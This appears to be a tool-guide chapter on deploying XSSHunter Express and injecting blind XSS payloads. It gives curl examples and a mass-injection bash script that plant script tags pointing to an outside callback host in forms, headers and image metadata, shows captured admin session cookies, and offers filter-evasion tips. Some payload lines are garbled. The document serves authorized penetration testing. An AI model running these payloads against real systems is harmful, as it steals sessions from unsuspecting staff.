XSSHunter is a blind XSS detection platform, fundamentally different in nature from XSStrike and DalFox. Those two tools actively send a payload and inspect the immediate HTTP response for signs of execution. XSSHunter instead gives you a unique, trackable payload that you inject anywhere you can reach — a contact form, a support ticket, an HTTP User-Agent or X-Forwarded-For header, a file upload’s metadata field, a chat message — and then you simply wait. If that payload is ever rendered and executed in any browser, at any time, in any context (including places you cannot directly observe, such as an internal admin dashboard, a moderator’s log viewer, or a backend analytics tool), XSSHunter’s out-of-band server captures the event and reports back full forensic detail: a screenshot of the page, the page’s DOM/HTML at the time of execution, the victim’s cookies, the origin URL, the User-Agent, and more.
The original XSSHunter (xsshunter.com) was a hosted SaaS created by Matthew Bryant (mandatoryprogrammer). It has since been made open-source and self-hostable as XSSHunter Express, maintained under the Truffle Security organization. Because it is self-hosted, testers own their own probe domain and data, which is critical for engagements requiring confidentiality.
Key capabilities:
- Out-of-band / asynchronous XSS capture — purpose-built for blind and stored XSS that fires outside the tester’s direct view.
- Automatic screenshot capture of the page where the payload fired.
- Full DOM/HTML snapshot at time of execution.
- Cookie, URL, referrer, and User-Agent capture.
- Managed payload dashboard — generate unique payloads per engagement/target and track every fire in a web control panel.
- Automatic TLS/SSL via Let’s Encrypt — HTTPS out of the box for a professional-looking, believable payload domain.
- Fully Dockerized deployment — self-hosted in minutes via
docker-compose. - Email notifications (optional, via SendGrid or similar) whenever a payload fires.
Unlike XSStrike and DalFox, XSSHunter is not a single CLI binary you run against a target with flags — it is a service you deploy and a payload format you inject. Its “usage” is therefore documented as a deployment/configuration workflow plus the standard payload syntax, rather than a --help command-line reference.
Installation
XSSHunter Express is deployed via Docker and Docker Compose on a server with a domain name pointed at it. On Kali Linux (or any Debian-based host you control for hosting the probe server):
# Install Docker and Docker Compose
sudo apt update
sudo apt install -y docker.io docker-compose git
# Enable and start Docker
sudo systemctl enable --now docker
# Clone the official XSSHunter Express repository
git clone https://github.com/mandatoryprogrammer/xsshunter-express.git
cd xsshunter-express
# Edit docker-compose.yml to set required environment variables
sudo nano docker-compose.yml
Inside docker-compose.yml, set at minimum the following environment variables under the xsshunterexpress service:
environment:
# [REQUIRED] Domain pointed at this server's IP (A record)
- HOSTNAME=xss.yourdomain.com
# [REQUIRED] Email for Let's Encrypt SSL certificate registration
- SSL_CONTACT_EMAIL=you@example.com
# Maximum size (MB) of a captured payload (screenshot + DOM + metadata)
- MAX_PAYLOAD_UPLOAD_SIZE_MB=50
# Enable/disable the web control panel
- CONTROL_PANEL_ENABLED=true
Start the database container first, then the main service:
# Start PostgreSQL in the background
sudo docker-compose up -d postgresdb
# Start the main XSSHunter Express service
sudo docker-compose up xsshunterexpress
Expected output on first run:
Creating xsshunter-express_postgresdb_1 ... done
Creating xsshunter-express_xsshunterexpress_1 ... done
Attaching to xsshunter-express_xsshunterexpress_1
xsshunterexpress_1 | [*] Generating TLS/SSL certificate via Let's Encrypt for xss.yourdomain.com...
xsshunterexpress_1 | [*] Certificate provisioned successfully.
xsshunterexpress_1 | [*] Initializing database schema...
xsshunterexpress_1 | [*] Admin account created.
xsshunterexpress_1 | Username: admin
xsshunterexpress_1 | Password: 8f3a2e9c7b1d4f6a
xsshunterexpress_1 | [*] Server listening on https://xss.yourdomain.com
Important: Copy the generated admin password immediately — it is only printed once to the console. Log in at https://xss.yourdomain.com/admin/.
For persistent background operation, run detached:
sudo docker-compose up -d
If port 80/443 is already occupied by another web server (e.g. nginx/Apache), stop it first or reconfigure XSSHunter Express to sit behind your existing reverse proxy using the sample nginx.conf/apache.conf files included in the repository.
Syntax
XSSHunter has two distinct “syntaxes” to understand: the deployment/management commands (Docker Compose) and the injected payload format used against targets.
Deployment commands:
docker-compose up -d postgresdb # start database
docker-compose up -d xsshunterexpress # start service (detached)
docker-compose down # stop everything
docker-compose logs -f xsshunterexpress # tail logs
Payload syntax (generated per-account in the web dashboard, format shown below):
script src=https://YOUR-SUBDOMAIN.xss.htscript
or the double-quote/HTML-attribute breakout variant used when injecting into an attribute context:
script src=https://YOUR-SUBDOMAIN.xss.ht>script
Command Line / Configuration Options (Full Reference)
Since XSSHunter Express is a Docker service rather than a CLI binary, its “options” are environment variables set in docker-compose.yml (or a .env file, depending on fork):
| Variable | Required | Description |
|---|---|---|
HOSTNAME | Yes | Domain/subdomain pointed at the server; used for both the payload callback and the admin panel |
SSL_CONTACT_EMAIL | Yes | Email used for Let’s Encrypt certificate issuance/renewal |
MAX_PAYLOAD_UPLOAD_SIZE_MB | No | Max size of a captured payload fire (screenshot + DOM + metadata), default 50 |
CONTROL_PANEL_ENABLED | No | Enable/disable the web dashboard UI (true/false) |
GMAIL_ACCOUNTS (fork-dependent) | No | Allow-list of Gmail addresses permitted to register/login for multi-user setups |
POSTGRES_USER / POSTGRES_DB / POSTGRES_PASSWORD | Yes (db container) | Postgres credentials for the postgresdb container |
PGDATA | No | Postgres data directory (mapped to a persistent volume) |
SENDGRID_API_KEY (some forks) | No | Enables email notifications when a payload fires |
Web dashboard controls (accessed via browser, not CLI flags) include:
- Generate Payload — creates a unique script src=… tag tied to your account.
- Payload Fires — a searchable, filterable list of every capture: screenshot, DOM, cookies, URL, timestamp, IP, User-Agent.
- Settings — manage notification preferences and account details.
Basic Usage (Expected Output)
After deployment, generate a payload from the dashboard (this looks like a URL/HTML snippet, not a terminal command):
cript src=https://abc123.xss.htscript
Inject it into any field you’re testing (e.g. a “Full Name” field in a signup form). If a privileged user (e.g. an admin reviewing user data) later views that field in a page vulnerable to stored XSS, the script fires in their browser and reports back to your instance.
On the server side, you can tail logs to see a fire come in:
sudo docker-compose logs -f xsshunterexpress
Expected log output when a payload fires:
xsshunterexpress_1 | [*] New XSS payload fire received
xsshunterexpress_1 | Origin URL: https://internal-admin.target.local/users/4471
xsshunterexpress_1 | IP Address: 10.20.14.9
xsshunterexpress_1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
xsshunterexpress_1 | Cookies captured: 3
xsshunterexpress_1 | Screenshot saved: /data/screenshots/8f3a2e9c.png
xsshunterexpress_1 | DOM snapshot saved: /data/dom/8f3a2e9c.html
xsshunterexpress_1 | [*] Notification sent to registered account
Practical Examples With Output
Example 1 – Inject into a “comment” field (classic stored XSS test)
Payload submitted:
Nice product! [<s]cript src=https://abc123.xss.ht>script
Server log when a moderator views the comment queue:
[*] New XSS payload fire received
Origin URL: https://target.local/admin/moderate-comments
Screenshot saved: /data/screenshots/9a1c.png
Cookies captured: 2 (session_id, csrf_token)
Example 2 – Inject into an HTTP header (e.g. User-Agent) for log-viewer XSS
curl -s "http://target.local/" -A '[<s]cript src=https://abc123. xss.ht>script'
Server log when an admin later opens the access-log dashboard that renders the User-Agent unsanitized:
[*] New XSS payload fire received
Origin URL: https://internal.target.local/logs/access
User-Agent (of viewer): Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ...
Example 3 – Inject into a support ticket subject line
curl -s -X POST "http://target.local/support/ticket" \
-d 'subject=script src=https://abc123.xss.ht>script>&body=help please'
Fire captured when support staff open the ticket in their internal panel:
[*] New XSS payload fire received
Origin URL: https://support-internal.target.local/tickets/9981
Screenshot saved: /data/screenshots/d41f.png
Example 4 – Combine with XSStrike’s --blind flag (Section 8.1) for crawl-wide blind injection
python3 xsstrike.py -u "http://target.local" --crawl --blind
(Blind payload configured in core/config.py set to <script src=https://abc123.xss.ht></script>.) Fires appear asynchronously in the XSSHunter dashboard/log over the following hours or days as different users encounter the injected forms.
Example 5 – Combine with DalFox’s -b flag (Section 8.2) for pipeline-wide blind injection
cat urls.txt | dalfox pipe -b https://abc123.xss.ht --silence
Fires are correlated later in the XSSHunter dashboard against the DalFox scan timestamp to identify which URL/parameter triggered execution.
Example 6 – Inject into a file upload’s metadata (EXIF/filename)
exiftool -Comment='script src=https://abc123.xss.ht>script' photo.jpg
curl -s -F "avatar=@photo.jpg" http://target.local/ upload
Fire captured if the target’s admin panel later renders EXIF metadata unsanitized when reviewing uploaded images.
Example 7 – Inject via an HTTP Referer header
curl -s "http://target[.]local/page" -e 'script src=https://abc123[.]xss.ht>script'
Fire captured if an internal analytics dashboard renders raw referrer strings.
Example 8 – Reviewing captured cookies for session hijacking impact assessment
Dashboard entry (rendered in the web UI, summarized here):
Fire ID: 8f3a2e9c
Origin URL: https://internal-admin[.]target.local/users/4471
Cookies: session_id=eyJhbGciOi...; csrf_token=9f8e7d6c...
Screenshot: [thumbnail available in dashboard]
DOM Snapshot: [full HTML available for download]
Example 9 – Tail server logs while actively pentesting to watch fires in real time
sudo docker-compose logs -f xsshunterexpress | grep "payload fire"
[*] New XSS payload fire received (Origin: https://target.local/admin/queue)
[*] New XSS payload fire received (Origin: https://target.local/mod/review)
Example 10 – Backing up captured evidence for a client report
sudo docker-compose exec postgresdb pg_dump -U xsshunterexpress xsshunterexpress > xsshunter_backup.sql
sudo cp -r ./data/screenshots ./client_report_evidence/
xsshunter_backup.sql written (1.2 MB)
Screenshots copied: 7 files -> ./client_report_evidence/
Common Use Cases
- Detecting stored XSS that only executes when viewed by a privileged user (admin, moderator, support agent) you cannot directly authenticate as.
- Detecting blind XSS in internal tools — log viewers, analytics dashboards, ticketing systems, monitoring panels — that are never directly reachable from the tester’s vantage point.
- Long-duration engagements where a payload might not fire for hours, days, or weeks (e.g. a monthly report generator that renders unsanitized input).
- Bug bounty programs, where testers inject payloads across every reachable input field of a target and passively wait for out-of-band confirmation.
- Providing strong, undeniable proof-of-impact for a report: an actual screenshot and captured session cookie from an internal admin context is far more persuasive than a theoretical reflected-XSS alert.
- Complementing active scanners (XSStrike, DalFox) by catching the asynchronous cases they structurally cannot detect in a single request/response cycle.
Automation With Bash
Generate a payload-injection wordlist and fire it across many input points using curl, then periodically poll the server logs for fires:
#!/bin/bash
# xsshunter_inject.sh - mass-inject a blind XSS payload across common input points
PAYLOAD='<script src=https://abc123.xss.ht></script>'
TARGET="http://target.local"
echo "[*] Injecting blind XSS payload into common endpoints"
# Contact form
curl -s -X POST "$TARGET/contact" \
-d "name=$PAYLOAD&email=test@test.com&message=hello" -o /dev/null
# Support ticket
curl -s -X POST "$TARGET/support/ticket" \
-d "subject=$PAYLOAD&body=test" -o /dev/null
# Profile bio field
curl -s -X POST "$TARGET/profile/update" \
-d "bio=$PAYLOAD" -o /dev/null
# User-Agent based injection
curl -s "$TARGET/" -A "$PAYLOAD" -o /dev/null
# Referer based injection
curl -s "$TARGET/page" -e "$PAYLOAD" -o /dev/null
echo "[*] Injection complete across 5 vectors."
echo "[*] Monitor fires with: sudo docker-compose logs -f xsshunterexpress"
Run it:
chmod +x xsshunter_inject.sh
./xsshunter_inject.sh
Simple polling script to alert when a new fire appears in the logs:
#!/bin/bash
# xsshunter_watch.sh - alert on new XSS fires
LOGFILE="xsshunter_fires.log"
sudo docker-compose logs -f xsshunterexpress | while read -r line; do
if echo "$line" | grep -q "New XSS payload fire received"; then
echo "[$(date)] $line" | tee -a "$LOGFILE"
# Optional: send a desktop notification / webhook here
fi
done
Tips and Best Practices
- Use a believable, engagement-specific subdomain for your XSSHunter instance rather than an obviously suspicious one — this increases the chance a filter or reviewer doesn’t immediately flag/strip it.
- Always self-host (XSSHunter Express) for client engagements rather than relying on third-party SaaS instances, to keep captured cookies/screenshots/DOM data confidential.
- Inject the payload into every reachable field, not just obvious ones — headers (
User-Agent,Referer,X-Forwarded-For), file metadata, and rarely-reviewed admin-only fields are common blind XSS goldmines. - Combine XSSHunter with XSStrike’s
--blindand DalFox’s-bflags to automate mass injection instead of manually crafting requests for every parameter. - Rotate/regenerate payload subdomains per engagement to keep evidence cleanly separated and to avoid stale findings from a previous test being mistaken for a new one.
- Regularly back up the Postgres database and captured screenshots — this is your evidentiary record for the client report.
- Respect scope and authorization boundaries strictly — blind XSS payloads can fire in front of real employees; only use this technique within an authorized engagement’s defined scope.
Troubleshooting
| Problem | Likely Cause | Fix |
|---|---|---|
| First request to the instance is very slow | Let’s Encrypt certificate is being generated on first boot | Wait ~15 seconds; this only happens once |
docker-compose up fails with a port conflict | Another web server (nginx/Apache) is bound to port 80/443 | sudo systemctl stop nginx (temporarily) or configure XSSHunter Express behind your existing reverse proxy using the provided config templates |
| Admin password not visible / lost | Password is only printed once on first container startup | Reset via the database directly, or tear down and redeploy with a fresh volume (loses existing data) |
| Payloads never fire despite being injected | Target’s Content-Security-Policy blocks the script-src, or WAF strips the script tag | Try alternate injection contexts img src=x onerror=…, event handlers) instead of script src |
| No email notifications received | Email/SendGrid environment variable not configured | Set the notification provider’s API key env var in docker-compose.yml and restart |
| Database connection errors on startup | postgresdb container not started first, or not fully initialized | Always run docker-compose up -d postgresdb and wait for it to be healthy before starting xsshunterexpress |
| SSL certificate renewal fails | DNS A record no longer points to the server, or port 80 blocked by a firewall | Verify DNS resolution and that inbound port 80/443 are open for Let’s Encrypt’s HTTP-01 challenge |
References
- Official repository (XSSHunter Express): https://github.com/mandatoryprogrammer/xsshunter-express
- OWASP Blind Cross-Site Scripting reference: https://owasp.org/www-community/attacks/Blind_Cross-site_scripting
- OWASP Cross-Site Scripting reference: https://owasp.org/www-community/attacks/xss/
